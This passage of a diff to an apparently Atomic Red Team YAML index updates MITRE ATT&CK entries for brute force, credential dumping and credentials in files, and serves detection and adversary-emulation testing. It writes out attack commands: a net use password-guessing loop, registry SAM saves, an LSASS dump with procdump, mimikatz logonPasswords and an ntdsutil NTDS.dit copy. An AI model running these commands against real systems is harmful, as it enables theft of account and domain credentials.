attempts.\n\nPlatforms: Linux, macOS, Windows\n\nData - Sources: Authentication logs\n\nPermissions Required: User\n\nContributors: - John Strand" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + description: |- + Adversaries may use brute force techniques to attempt access to accounts when passwords are unknown or when password hashes are obtained. + + [Credential Dumping](https://attack.mitre.org/techniques/T1003) to obtain password hashes may only get an adversary so far when [Pass the Hash](https://attack.mitre.org/techniques/T1075) is not an option. Techniques to systematically guess the passwords used to compute hashes are available, or the adversary may use a pre-computed rainbow table. Cracking hashes is usually done on adversary-controlled systems outside of the target network. (Citation: Wikipedia Password cracking) + + Adversaries may attempt to brute force logins without knowledge of passwords or hashes during an operation either with zero knowledge or by attempting a list of known or possible passwords. This is a riskier option because it could cause numerous authentication failures and account lockouts, depending on the organization's login failure policies. (Citation: Cylance Cleaver) + + A related technique called password spraying uses one password, or a small list of passwords, that matches the complexity policy of the domain and may be a commonly used password. Logins are attempted with that password and many different accounts on a network to avoid account lockouts that would normally occur when brute forcing a single account with many passwords. (Citation: BlackHillsInfosec Password Spraying) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1110 + - external_id: T1110 + url: https://attack.mitre.org/techniques/T1110 source_name: mitre-attack - external_id: T1110 - - description: Wikipedia. (n.d.). Password cracking. Retrieved December 23, + - url: https://en.wikipedia.org/wiki/Password_cracking + description: Wikipedia. (n.d.). Password cracking. Retrieved December 23, 2015. source_name: Wikipedia Password cracking - url: https://en.wikipedia.org/wiki/Password%20cracking - - description: Cylance. (2014, December). Operation Cleaver. Retrieved September + - url: https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance_Operation_Cleaver_Report.pdf + description: Cylance. (2014, December). Operation Cleaver. Retrieved September 14, 2017. source_name: Cylance Cleaver - url: https://www.cylance.com/content/dam/cylance/pages/operation-cleaver/Cylance%20Operation%20Cleaver%20Report.pdf - - description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with + - url: http://www.blackhillsinfosec.com/?p=4645 + description: Thyer, J. (2015, October 30). Password Spraying & Other Fun with RPCCLIENT. Retrieved April 25, 2017. source_name: BlackHillsInfosec Password Spraying - url: http://www.blackhillsinfosec.com/?p=4645 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:22.767Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - John Strand x_mitre_data_sources: - Authentication logs + x_mitre_detection: "It is difficult to detect when hashes are cracked, since + this is generally done outside the scope of the target network. \n\nMonitor + authentication logs for system and application login failures of [Valid Accounts](https://attack.mitre.org/techniques/T1078). + If authentication failures are high, then there may be a brute force attempt + to gain access to a system using legitimate credentials.\n\nAlso monitor for + many failed authentication attempts across various accounts that may result + from password spraying attempts." x_mitre_permissions_required: - User - x_mitre_contributors: - - John Strand - id: attack-pattern--a93494bb-4b80-4ea1-8695-3236a49916fd - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:22.767Z' identifier: T1110 atomic_tests: - name: Brute Force Credentials @@ -11613,232 +11722,262 @@ credential-access: @FOR /F %n in (#{input_file_users}) DO @FOR /F %p in (#{input_file_passwords}) DO @net use #{remote_host} /user:#{domain}\%n %p 1>NUL 2>&1 && @echo [*] %n:%p && @net use /delete #{remote_host} > NUL T1003: technique: + id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Credential Dumping description: "Credential dumping is the process of obtaining account login and password information, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.\n\nSeveral of the tools mentioned in this technique may be used by both adversaries and professional security - testers. Additional custom tools likely exist as well.\n\n===SAM (Security - Accounts Manager)===\n\nThe SAM is a database file that contains local accounts - for the host, typically those found with the ‘net user’ command. To enumerate - the SAM database, system level access is required.\n \nA number of tools can - be used to retrieve the SAM file through in-memory techniques:\n* pwdumpx.exe - \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, the SAM can be - extracted from the Registry with Reg:\n* reg save HKLM\\sam sam\n* - reg save HKLM\\system system\n\nCreddump7 can then be used to - process the SAM database locally to retrieve hashes. (Citation: GitHub Creddump7)\n\nNotes:\nRid - 500 account is the local, in-built administrator.\nRid 501 is the guest account.\nUser - accounts start with a RID of 1,000+.\n\n===Cached Credentials===\n\nThe DCC2 - (Domain Cached Credentials version 2) hash, used by Windows Vista and newer - caches credentials when the domain controller is unavailable. The number - of default cached credentials varies, and this number can be altered per system. - \ This hash does not allow pass-the-hash style attacks.\n \nA number of tools - can be used to retrieve the SAM file through in-memory techniques.\n* pwdumpx.exe - \n* gsecdump\n* Mimikatz\n\nAlternatively, reg.exe can be used to extract - from the Registry and Creddump7 used to gather the credentials.\n\nNotes:\nCached - credentials for Windows Vista are derived using PBKDF2.\n\n===Local Security - Authority (LSA) Secrets===\n\nWith SYSTEM access to a host, the LSA secrets - often allows trivial access from a local account to domain-based account credentials. - The Registry is used to store the LSA secrets.\n \nWhen services are run under - the context of local or domain users, their passwords are stored in the Registry. - If auto-logon is enabled, this information will be stored in the Registry - as well.\n \nA number of tools can be used to retrieve the SAM file through - in-memory techniques.\n* pwdumpx.exe \n* gsecdump\n* Mimikatz\n* secretsdump.py\n\nAlternatively, - reg.exe can be used to extract from the Registry and Creddump7 used to gather - the credentials.\n\nNotes:\nThe passwords extracted by his mechanism are UTF-16 encoded, - which means that they are returned in plaintext.\nWindows 10 adds protections - for LSA Secrets described in Mitigation.\n\n===NTDS from Domain Controller===\n\nActive - Directory stores information about members of the domain including devices - and users to verify credentials and define access rights. The Active Directory - domain database is stored in the NTDS.dit file. By default the NTDS file will - be located in %SystemRoot%\\NTDS\\Ntds.dit of a domain controller. (Citation: - Wikipedia Active Directory)\n \nThe following tools and techniques can be - used to enumerate the NTDS file and the contents of the entire Active Directory - hashes.\n \n* Volume Shadow Copy\n* secretsdump.py\n* Using the in-built Windows - tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n===Group Policy Preference (GPP) - Files===\n\nGroup Policy Preferences (GPP) are tools that allowed administrators - to create domain policies with embedded credentials. These policies, amongst - other things, allow administrators to set local accounts.\n \nThese group - policies are stored in SYSVOL on a domain controller, this means that any - domain user can view the SYSVOL share and decrypt the password (the AES private - key was leaked on-line. (Citation: Microsoft GPP Key) (Citation: SRD GPP)\n \nThe - following tools and scripts can be used to gather and decrypt the password - file from Group Policy Preference XML files:\n \n* Metasploit’s post exploitation - module: \"post/windows/gather/credentials/gpp\"\n* Get-GPPPassword (Citation: - Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n \nNotes:\nOn the SYSVOL - share, the following can be used to enumerate potential XML files.\ndir /s - *.xml\n\n===Service Principle Names (SPNs)===\n\nSee Kerberoasting.\n\n===Plaintext - Credentials===\n\nAfter a user logs on to a system, a variety of credentials + testers. Additional custom tools likely exist as well.\n\n### Windows\n\n#### + SAM (Security Accounts Manager)\n\nThe SAM is a database file that contains + local accounts for the host, typically those found with the ‘net user’ command. + To enumerate the SAM database, system level access is required.\n \nA number + of tools can be used to retrieve the SAM file through in-memory techniques:\n\n* + pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* + secretsdump.py\n\nAlternatively, the SAM can be extracted from the Registry + with [Reg](https://attack.mitre.org/software/S0075):\n\n* reg save HKLM\\sam + sam\n* reg save HKLM\\system system\n\nCreddump7 can then + be used to process the SAM database locally to retrieve hashes. (Citation: + GitHub Creddump7)\n\nNotes:\nRid 500 account is the local, in-built administrator.\nRid + 501 is the guest account.\nUser accounts start with a RID of 1,000+.\n\n#### + Cached Credentials\n\nThe DCC2 (Domain Cached Credentials version 2) hash, + used by Windows Vista and newer caches credentials when the domain controller + is unavailable. The number of default cached credentials varies, and this + number can be altered per system. This hash does not allow pass-the-hash style + attacks.\n \nA number of tools can be used to retrieve the SAM file through + in-memory techniques.\n\n* pwdumpx.exe \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* + [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAlternatively, reg.exe + can be used to extract from the Registry and Creddump7 used to gather the + credentials.\n\nNotes:\nCached credentials for Windows Vista are derived using + PBKDF2.\n\n#### Local Security Authority (LSA) Secrets\n\nWith SYSTEM access + to a host, the LSA secrets often allows trivial access from a local account + to domain-based account credentials. The Registry is used to store the LSA + secrets.\n \nWhen services are run under the context of local or domain users, + their passwords are stored in the Registry. If auto-logon is enabled, this + information will be stored in the Registry as well.\n \nA number of tools + can be used to retrieve the SAM file through in-memory techniques.\n\n* pwdumpx.exe + \n* [gsecdump](https://attack.mitre.org/software/S0008)\n* [Mimikatz](https://attack.mitre.org/software/S0002)\n* + secretsdump.py\n\nAlternatively, reg.exe can be used to extract from the Registry + and Creddump7 used to gather the credentials.\n\nNotes:\nThe passwords extracted + by his mechanism are UTF-16 encoded, which means that they are returned in plaintext.\nWindows + 10 adds protections for LSA Secrets described in Mitigation.\n\n#### NTDS + from Domain Controller\n\nActive Directory stores information about members + of the domain including devices and users to verify credentials and define + access rights. The Active Directory domain database is stored in the NTDS.dit + file. By default the NTDS file will be located in %SystemRoot%\\NTDS\\Ntds.dit + of a domain controller. (Citation: Wikipedia Active Directory)\n \nThe following + tools and techniques can be used to enumerate the NTDS file and the contents + of the entire Active Directory hashes.\n\n* Volume Shadow Copy\n* secretsdump.py\n* + Using the in-built Windows tool, ntdsutil.exe\n* Invoke-NinjaCopy\n\n#### + Group Policy Preference (GPP) Files\n\nGroup Policy Preferences (GPP) are + tools that allowed administrators to create domain policies with embedded + credentials. These policies, amongst other things, allow administrators to + set local accounts.\n\nThese group policies are stored in SYSVOL on a domain + controller, this means that any domain user can view the SYSVOL share and + decrypt the password (the AES private key was leaked on-line. (Citation: Microsoft + GPP Key) (Citation: SRD GPP)\n\nThe following tools and scripts can be used + to gather and decrypt the password file from Group Policy Preference XML files:\n\n* + Metasploit’s post exploitation module: \"post/windows/gather/credentials/gpp\"\n* + Get-GPPPassword (Citation: Obscuresecurity Get-GPPPassword)\n* gpprefdecrypt.py\n\nNotes:\nOn + the SYSVOL share, the following can be used to enumerate potential XML files.\ndir + /s * .xml\n\n#### Service Principal Names (SPNs)\n\nSee [Kerberoasting](https://attack.mitre.org/techniques/T1208).\n\n#### + Plaintext Credentials\n\nAfter a user logs on to a system, a variety of credentials are generated and stored in the Local Security Authority Subsystem Service (LSASS) process in memory. These credentials can be harvested by a administrative - user or SYSTEM.\n \nSSPI (Security Support Provider Interface) functions as + user or SYSTEM.\n\nSSPI (Security Support Provider Interface) functions as a common interface to several Security Support Providers (SSPs): A Security Support Provider is a dynamic-link library (DLL) that makes one or more security packages available to applications.\n\nThe following SSPs can be used to access - credentials:\n \nMsv: Interactive logons, batch logons, and service logons + credentials:\n\nMsv: Interactive logons, batch logons, and service logons are done through the MSV authentication package.\nWdigest: The Digest Authentication protocol is designed for use with Hypertext Transfer Protocol (HTTP) and Simple Authentication Security Layer (SASL) exchanges. (Citation: TechNet Blogs Credential Protection)\nKerberos: Preferred for mutual client-server domain authentication in Windows 2000 and later.\nCredSSP:  Provides SSO and Network Level Authentication for Remote Desktop Services. (Citation: Microsoft CredSSP)\n \nThe following tools can - be used to enumerate credentials:\n \n* Windows Credential Editor\n* Mimikatz\n \nAs - well as in-memory techniques, the LSASS process memory can be dumped from - the target host and analyzed on a local system.\n \nFor example, on the target - host use procdump:\n* procdump -ma lsass.exe lsass_dump\n \nLocally, - mimikatz can be run:\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n===DCSync=== - \n\nDCSync is a variation on credential dumping which can be used to acquire - sensitive information from a domain controller. Rather than executing recognizable - malicious code, the action works by abusing the domain controller's application - programming interface (API) (Citation: Microsoft DRSR Dec 2017) (Citation: - Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine API samlib.dll) - to simulate the replication process from a remote domain controller. Any - members of the Administrators, Domain Admins, Enterprise Admin groups or computer - accounts on the domain controller are able to run DCSync to pull password - data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, which - may include current and historical hashes of potentially useful accounts such - as KRBTGT and Administrators. The hashes can then in turn be used to create - a Golden Ticket for use in Pass the Ticket (Citation: Harmj0y Mimikatz and - DCSync) or change an account's password as noted in Account Manipulation. + be used to enumerate credentials:\n\n* [Windows Credential Editor](https://attack.mitre.org/software/S0005)\n* + [Mimikatz](https://attack.mitre.org/software/S0002)\n\nAs well as in-memory + techniques, the LSASS process memory can be dumped from the target host and + analyzed on a local system.\n\nFor example, on the target host use procdump:\n* + procdump -ma lsass.exe lsass_dump\n\nLocally, mimikatz can be + run:\n\n* sekurlsa::Minidump lsassdump.dmp\n* sekurlsa::logonPasswords\n\n#### + DCSync\n\nDCSync is a variation on credential dumping which can be used to + acquire sensitive information from a domain controller. Rather than executing + recognizable malicious code, the action works by abusing the domain controller's + \ application programming interface (API) (Citation: Microsoft DRSR Dec 2017) + (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) (Citation: Wine + API samlib.dll) to simulate the replication process from a remote domain controller. + Any members of the Administrators, Domain Admins, Enterprise Admin groups + or computer accounts on the domain controller are able to run DCSync to pull + password data (Citation: ADSecurity Mimikatz DCSync) from Active Directory, + which may include current and historical hashes of potentially useful accounts + such as KRBTGT and Administrators. The hashes can then in turn be used to + create a Golden Ticket for use in [Pass the Ticket](https://attack.mitre.org/techniques/T1097) + (Citation: Harmj0y Mimikatz and DCSync) or change an account's password as + noted in [Account Manipulation](https://attack.mitre.org/techniques/T1098). (Citation: InsiderThreat ChangeNTLM July 2017) DCSync functionality has been included in the \"lsadump\" module in Mimikatz. (Citation: GitHub Mimikatz - lsadump Module) Lsadump also includes NetSync, which performs DCSync over - a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\nDetection: - Common credential dumpers such as Mimikatz access the LSA Subsystem Service - (LSASS) process by opening the process, locating the LSA secrets key, and - decrypting the sections in memory where credential details are stored. Credential - dumpers may also use methods for reflective Process Injection to reduce potential - indicators of malicious activity.\n\nHash dumpers open the Security Accounts - Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) - or create a dump of the Registry SAM key to access stored account password - hashes. Some hash dumpers will open the local file system as a device and - parse to the SAM table to avoid file access defenses. Others will make an - in-memory copy of the SAM table before reading hashes. Detection of compromised - Valid Accounts in-use by adversaries may help as well. \n\nOn Windows 8.1 - and Windows Server 2012 R2, monitor Windows Logs for LSASS.exe creation to - verify that LSASS started as a protected process.\n\nMonitor processes and - command-line arguments for program execution that may be indicative of credential - dumping. Remote access tools may contain built-in features or incorporate - existing tools like Mimikatz. PowerShell scripts also exist that contain credential - dumping functionality, such as PowerSploit's Invoke-Mimikatz module, (Citation: - Powersploit) which may require additional logging features to be configured - in the operating system to collect necessary information for analysis.\n\nMonitor - domain controller logs for replication requests and other unscheduled activity - possibly associated with DCSync. (Citation: Microsoft DRSR Dec 2017) (Citation: - Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) Note: Domain controllers - may not log replication requests originating from the default domain controller - account. (Citation: Harmj0y DCSync Sept 2015). Also monitor for network protocols - \ (Citation: Microsoft DRSR Dec 2017) (Citation: Microsoft NRPC Dec 2017) - and other replication requests (Citation: Microsoft SAMR) from IPs not associated - with known domain controllers. (Citation: AdSecurity DCSync Sept 2015)\n\nPlatforms: - Windows\n\nData Sources: API monitoring, Process command-line parameters, - Process monitoring, PowerShell logs\n\nPermissions Required: Administrator, - SYSTEM\n\nContributors: Vincent Le Toux, Ed Williams, Trustwave, SpiderLabs" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + lsadump Module) Lsadump also includes NetSync, which performs DCSync over + a legacy replication protocol. (Citation: Microsoft NRPC Dec 2017)\n\n### + Linux\n\n#### Proc filesystem\n\nThe /proc filesystem on Linux contains a + great deal of information regarding the state of the running operating system. + Processes running with root privileges can use this facility to scrape live + memory of other running programs. If any of these programs store passwords + in clear text or password hashes in memory, these values can then be harvested + for either usage or brute force attacks, respectively. This functionality + has been implemented in the [MimiPenguin](https://attack.mitre.org/software/S0179), + an open source tool inspired by [Mimikatz](https://attack.mitre.org/software/S0002). + The tool dumps process memory, then harvests passwords and hashes by looking + for text strings and regex patterns for how given applications such as Gnome + Keyring, sshd, and Apache use memory to store such authentication artifacts." external_references: - - url: https://attack.mitre.org/wiki/Technique/T1003 + - external_id: T1003 + url: https://attack.mitre.org/techniques/T1003 source_name: mitre-attack - external_id: T1003 - - description: PowerSploit. (n.d.). Retrieved December 4, 2014. + - external_id: CAPEC-567 + url: https://capec.mitre.org/data/definitions/567.html + source_name: capec + - url: https://github.com/mattifestation/PowerSploit + description: PowerSploit. (n.d.). Retrieved December 4, 2014. source_name: Powersploit - url: https://github.com/mattifestation/PowerSploit - - description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, - and Detection. Retrieved August 7, 2017. - source_name: ADSecurity Mimikatz DCSync - url: https://adsecurity.org/?p=1729 - - description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, + - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ + description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved August 7, 2017. source_name: Harmj0y Mimikatz and DCSync - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - - description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved + - url: https://adsecurity.org/?p=1729 + description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, + and Detection. Retrieved August 7, 2017. + source_name: ADSecurity Mimikatz DCSync + - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump + description: Deply, B., Le Toux, V. (2016, June 5). module ~ lsadump. Retrieved August 7, 2017. source_name: GitHub Mimikatz lsadump Module - url: https://github.com/gentilkiwi/mimikatz/wiki/module-~-lsadump - - description: Microsoft. (2017, December 1). MS-DRSR Directory Replication + - url: https://msdn.microsoft.com/library/cc228086.aspx + description: Microsoft. (2017, December 1). MS-DRSR Directory Replication Service (DRS) Remote Protocol. Retrieved December 4, 2017. source_name: Microsoft DRSR Dec 2017 - url: https://msdn.microsoft.com/library/cc228086.aspx - - description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December + - url: https://msdn.microsoft.com/library/dd207691.aspx + description: Microsoft. (n.d.). IDL_DRSGetNCChanges (Opnum 3). Retrieved December 4, 2017. source_name: Microsoft GetNCCChanges - url: https://msdn.microsoft.com/library/dd207691.aspx - - description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. + - url: https://wiki.samba.org/index.php/DRSUAPI + description: SambaWiki. (n.d.). DRSUAPI. Retrieved December 4, 2017. source_name: Samba DRSUAPI - url: https://wiki.samba.org/index.php/DRSUAPI - - description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. + - url: https://source.winehq.org/WineAPI/samlib.html + description: Wine API. (n.d.). samlib.dll. Retrieved December 4, 2017. source_name: Wine API samlib.dll - url: https://source.winehq.org/WineAPI/samlib.html - - description: Warren, J. (2017, July 11). Manipulating User Passwords with + - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM + description: Warren, J. (2017, July 11). Manipulating User Passwords with Mimikatz. Retrieved December 4, 2017. source_name: InsiderThreat ChangeNTLM July 2017 - url: https://blog.stealthbits.com/manipulating-user-passwords-with-mimikatz-SetNTLM-ChangeNTLM - - description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. - Retrieved December 6, 2017. - source_name: Microsoft NRPC Dec 2017 - url: https://msdn.microsoft.com/library/cc237008.aspx - - description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, + - url: https://adsecurity.org/?p=1729 + description: Metcalf, S. (2015, September 25). Mimikatz DCSync Usage, Exploitation, and Detection. Retrieved December 4, 2017. source_name: AdSecurity DCSync Sept 2015 - url: https://adsecurity.org/?p=1729 - - description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, + - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ + description: Schroeder, W. (2015, September 22). Mimikatz and DCSync and ExtraSids, Oh My. Retrieved December 4, 2017. source_name: Harmj0y DCSync Sept 2015 - url: http://www.harmj0y.net/blog/redteaming/mimikatz-and-dcsync-and-extrasids-oh-my/ - - description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote + - url: https://msdn.microsoft.com/library/cc245496.aspx + description: Microsoft. (n.d.). MS-SAMR Security Account Manager (SAM) Remote Protocol (Client-to-Server) - Transport. Retrieved December 4, 2017. source_name: Microsoft SAMR - url: https://msdn.microsoft.com/library/cc245496.aspx - - description: Flathers, R. (2018, February 19). creddump7. Retrieved April + - url: https://msdn.microsoft.com/library/cc237008.aspx + description: Microsoft. (2017, December 1). MS-NRPC - Netlogon Remote Protocol. + Retrieved December 6, 2017. + source_name: Microsoft NRPC Dec 2017 + - url: https://github.com/Neohapsis/creddump7 + description: Flathers, R. (2018, February 19). creddump7. Retrieved April 11, 2018. source_name: GitHub Creddump7 - url: https://github.com/Neohapsis/creddump7 - - description: Wikipedia. (2018, March 10). Active Directory. Retrieved April + - url: https://en.wikipedia.org/wiki/Active_Directory + description: Wikipedia. (2018, March 10). Active Directory. Retrieved April 11, 2018. source_name: Wikipedia Active Directory - url: https://en.wikipedia.org/wiki/Active%20Directory - - description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April + - url: https://msdn.microsoft.com/library/cc422924.aspx + description: Microsoft. (n.d.). 2.2.1.1.4 Password Encryption. Retrieved April 11, 2018. source_name: Microsoft GPP Key - url: https://msdn.microsoft.com/library/cc422924.aspx - - description: 'Security Research and Defense. (2014, May 13). MS14-025: An + - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx + description: 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.' source_name: SRD GPP - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx - - description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. - Retrieved April 11, 2018. - source_name: Obscuresecurity Get-GPPPassword - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html - - description: Wilson, B. (2016, April 18). The Importance of KB2871997 and + - url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ + description: Wilson, B. (2016, April 18). The Importance of KB2871997 and KB2928120 for Credential Protection. Retrieved April 11, 2018. source_name: TechNet Blogs Credential Protection - url: https://blogs.technet.microsoft.com/askpfeplat/2016/04/18/the-importance-of-kb2871997-and-kb2928120-for-credential-protection/ - - description: Microsoft. (2008, July 25). Credential Security Service Provider + - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10) + description: Microsoft. (2008, July 25). Credential Security Service Provider and SSO for Terminal Services Logon. Retrieved April 11, 2018. source_name: Microsoft CredSSP - url: https://docs.microsoft.com/en-us/previous-versions/windows/it-pro/windows-vista/cc749211(v=ws.10) + - url: https://obscuresecurity.blogspot.co.uk/2012/05/gpp-password-retrieval-with-powershell.html + description: Campbell, C. (2012, May 24). GPP Password Retrieval with PowerShell. + Retrieved April 11, 2018. + source_name: Obscuresecurity Get-GPPPassword object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:19.735Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Vincent Le Toux + - Ed Williams, Trustwave, SpiderLabs x_mitre_data_sources: - API monitoring - - Process command-line parameters - Process monitoring - PowerShell logs + - Process command-line parameters + x_mitre_detection: "### Windows\nCommon credential dumpers such as [Mimikatz](https://attack.mitre.org/software/S0002) + access the LSA Subsystem Service (LSASS) process by opening the process, locating + the LSA secrets key, and decrypting the sections in memory where credential + details are stored. Credential dumpers may also use methods for reflective + [Process Injection](https://attack.mitre.org/techniques/T1055) to reduce potential + indicators of malicious activity.\n\nHash dumpers open the Security Accounts + Manager (SAM) on the local file system (%SystemRoot%/system32/config/SAM) + or create a dump of the Registry SAM key to access stored account password + hashes. Some hash dumpers will open the local file system as a device and + parse to the SAM table to avoid file access defenses. Others will make an + in-memory copy of the SAM table before reading hashes. Detection of compromised + [Valid Accounts](https://attack.mitre.org/techniques/T1078) in-use by adversaries + may help as well. \n\nOn Windows 8.1 and Windows Server 2012 R2, monitor Windows + Logs for LSASS.exe creation to verify that LSASS started as a protected process.\n\nMonitor + processes and command-line arguments for program execution that may be indicative + of credential dumping. Remote access tools may contain built-in features or + incorporate existing tools like [Mimikatz](https://attack.mitre.org/software/S0002). + [PowerShell](https://attack.mitre.org/techniques/T1086) scripts also exist + that contain credential dumping functionality, such as PowerSploit's Invoke-Mimikatz + module, (Citation: Powersploit) which may require additional logging features + to be configured in the operating system to collect necessary information + for analysis.\n\nMonitor domain controller logs for replication requests and + other unscheduled activity possibly associated with DCSync. (Citation: Microsoft + DRSR Dec 2017) (Citation: Microsoft GetNCCChanges) (Citation: Samba DRSUAPI) + Note: Domain controllers may not log replication requests originating from + the default domain controller account. (Citation: Harmj0y DCSync Sept 2015). + Also monitor for network protocols (Citation: Microsoft DRSR Dec 2017) (Citation: + Microsoft NRPC Dec 2017) and other replication requests (Citation: Microsoft + SAMR) from IPs not associated with known domain controllers. (Citation: AdSecurity + DCSync Sept 2015)\n\n### Linux\nTo obtain the passwords and hashes stored + in memory, processes must open a maps file in the /proc filesystem for the + process being analyzed. This file is stored under the path /proc//maps, + where the directory is the unique pid of the program being + interrogated for such authentication data. The AuditD monitoring tool, which + ships stock in many Linux distributions, can be used to watch for hostile + processes opening this file in the proc file system, alerting on the pid, + process name, and arguments of such programs." x_mitre_permissions_required: - Administrator - SYSTEM - x_mitre_contributors: - - Vincent Le Toux - - Ed Williams, Trustwave, SpiderLabs - id: attack-pattern--0a3ead4e-6d47-4ccb-854c-a6a4f9d96b22 - modified: '2018-04-18T17:59:24.739Z' + - root + x_mitre_platforms: + - Windows + - Linux + - macOS type: attack-pattern + kill_chain_phases: + - phase_name: credential-access + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:19.735Z' identifier: T1003 atomic_tests: - name: Powershell Mimikatz @@ -11970,56 +12109,57 @@ credential-access: command: 'ntdsutil “ac i ntds” “ifm” “create full #{output_folder} q q' T1081: technique: + id: attack-pattern--ba8e391f-14b5-496f-81f2-2d5ecd646c1c + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Credentials in Files description: |- - Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. - - It is possible to extract passwords from backups or saved virtual machines through Credential Dumping. (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) - - Detection: While detecting adversaries accessing these files may be difficult without knowing they exist in the first place, it may be possible to detect adversary use of credentials they have obtained. Monitor the command-line arguments of executing processes for suspicious words or regular expressions that may indicate searching for a password (for example: password, pwd, login, secure, or credentials). See Valid Accounts for more information. - - Platforms: Linux, macOS, Windows + Adversaries may search local file systems and remote file shares for files containing passwords. These can be files created by users to store their own credentials, shared credential stores for a group of individuals, configuration files containing passwords for a system or service, or source code/binary files containing embedded passwords. - Data Sources: File monitoring, Process command-line parameters - - Permissions Required: User, Administrator, SYSTEM - - System Requirements: Access to files - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: credential-access + It is possible to extract passwords from backups or saved virtual machines through [Credential Dumping](https://attack.mitre.org/techniques/T1003). (Citation: CG 2014) Passwords may also be obtained from Group Policy Preferences stored on the Windows Domain Controller. (Citation: SRD GPP) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1081 + - external_id: T1081 + url: https://attack.mitre.org/techniques/T1081 source_name: mitre-attack - external_id: T1081 - - description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part + - external_id: CAPEC-545 + url: https://capec.mitre.org/data/definitions/545.html + source_name: capec + - url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html + description: CG. (2014, May 20). Mimikatz Against Virtual Machine Memory Part 1. Retrieved November 12, 2014. source_name: CG 2014 - url: http://carnal0wnage.attackresearch.com/2014/05/mimikatz-against-virtual-machine-memory.html - - description: 'Security Research and Defense. (2014, May 13). MS14-025: An + - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx + description: 'Security Research and Defense. (2014, May 13). MS14-025: An Update for Group Policy Preferences. Retrieved January 28, 2015.' source_name: SRD GPP - url: http://blogs.technet.com/b/srd/archive/2014/05/13/ms14-025-an-update-for-group-policy-preferences.aspx object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: 